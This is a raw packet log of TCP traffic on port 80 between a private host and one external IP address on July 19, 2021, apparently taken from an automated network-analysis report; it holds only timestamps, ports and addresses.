Jul 19, 2021 18:35:27.250565052 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.250648975 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.250772953 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.250860929 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.253524065 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.253628016 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.258307934 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.262484074 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.329844952 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.329870939 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.329888105 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.329904079 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.329979897 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.330193043 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.331897974 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.331919909 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.340459108 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.340485096 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.340500116 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.340514898 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.340528965 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.340590954 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.407977104 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.408011913 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.489451885 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.491592884 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.567152977 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.567344904 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.569087982 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.569721937 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.570473909 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.570661068 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.570944071 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.571171999 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.648319960 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.648366928 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.648452044 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.648477077 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.648984909 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.649503946 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.649617910 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.649878025 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.649967909 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.650145054 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.650381088 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.650461912 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.650733948 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.651055098 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.651155949 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.651242018 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.651448011 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.651542902 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.651679039 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.652483940 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.727271080 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.727332115 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.727364063 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.727379084 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.727390051 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.727441072 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.727458000 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.727478981 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.727580070 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.727664948 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.727790117 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.727858067 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.728578091 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.728658915 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.728708982 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.728796959 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.729099989 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.729195118 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.730159044 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.730272055 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.804944992 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.805000067 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.805111885 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.805505037 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.805593967 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.805628061 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.805702925 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.805957079 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.806073904 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.806104898 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.806200981 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.807579041 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.807632923 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.807662964 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.807688951 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.807717085 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.807907104 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.808067083 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.884110928 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.884146929 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.884159088 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.884176016 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.884192944 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.931067944 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.932152033 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.009123087 CEST	80	49749	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.009196997 CEST	49749	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.010519981 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.010643959 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.011253119 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.011396885 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.011617899 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.011785030 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.089725971 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.089901924 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.089961052 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.089971066 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.090151072 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.090226889 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.090702057 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.090792894 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.090866089 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.090929985 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.090945005 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.091006041 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.091204882 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.091267109 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.091356039 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.091408968 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.091428995 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.091480970 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.091785908 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.091856956 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.091873884 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.091902971 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.091944933 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.091995001 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.170203924 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.170461893 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.170780897 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.170821905 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.170876980 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.170903921 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.213430882 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.213691950 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.251358032 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.251461029 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.316298008 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.316334009 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.316574097 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.358689070 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.358849049 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.395814896 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.395840883 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.452311993 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.453664064 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.530499935 CEST	80	49750	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.530605078 CEST	49750	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.536850929 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.537013054 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.537805080 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.537966967 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.538187981 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.538434982 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.620405912 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.620446920 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.620762110 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.620897055 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.621139050 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.621213913 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.621217012 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.621279955 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.621383905 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.621447086 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.621560097 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.621597052 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.621629953 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.621659994 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.621757030 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.621824026 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.622318029 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.622400999 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.622544050 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.622607946 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.622798920 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.622944117 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.622955084 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.623019934 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.704109907 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.704143047 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.704159021 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.704349041 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.704406023 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.705871105 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.705894947 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.706077099 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.706104040 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.706183910 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.706202030 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.786607027 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.786643028 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.786775112 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:28.790457010 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.790529966 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.870501041 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.870531082 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.870722055 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.870750904 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.870774031 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:28.870862961 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.009165049 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.010695934 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.091322899 CEST	80	49751	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.091413021 CEST	49751	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.093502045 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.093611956 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.097806931 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.097892046 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.098069906 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.098181963 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.180977106 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181103945 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181128025 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181183100 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.181303024 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181366920 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.181463957 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181533098 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.181566000 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181746960 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181868076 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.181962967 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.182113886 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.182142973 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.182387114 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.183022976 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.183175087 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.183197975 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.183346987 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.183408022 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.183481932 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.183624029 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.183698893 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.264072895 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.264090061 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.264100075 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.264147043 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.264197111 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.264550924 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.264616966 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.264681101 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.264751911 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.264811993 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.264866114 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.264895916 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.264944077 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.266062975 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.266145945 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.266412973 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.266488075 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.266597986 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.266732931 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.350944996 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.351068974 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.433800936 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.433832884 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.434618950 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.434674025 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.434710026 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.481648922 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.482774973 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.564377069 CEST	80	49752	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.564466000 CEST	49752	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.567152977 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.567311049 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.567840099 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.568224907 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.568429947 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.568581104 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.652204037 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.652239084 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.652307034 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.652401924 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.652512074 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.652616978 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.652934074 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.653028965 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.653120041 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.653212070 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.653322935 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.653397083 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.653575897 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.653661966 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.653939009 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.654019117 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.654341936 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.654429913 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.654544115 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.654625893 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.654719114 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.654798985 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.654931068 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.655019045 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.735841036 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.735878944 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.735958099 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.736062050 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.736126900 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.736176014 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.736548901 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.736690044 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.736864090 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.737035036 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.738168955 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.738322973 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.819335938 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.827130079 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.832362890 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.833971024 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.910219908 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.910260916 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.910286903 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.910311937 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.917443037 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.917467117 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:29.927491903 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:29.928600073 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.012327909 CEST	80	49753	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.015893936 CEST	49753	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.021276951 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.021550894 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.022542953 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.022721052 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.022993088 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.023140907 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.116276026 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.116303921 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.116322041 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.116337061 CEST	80	49754	185.114.247.54	192.168.2.6
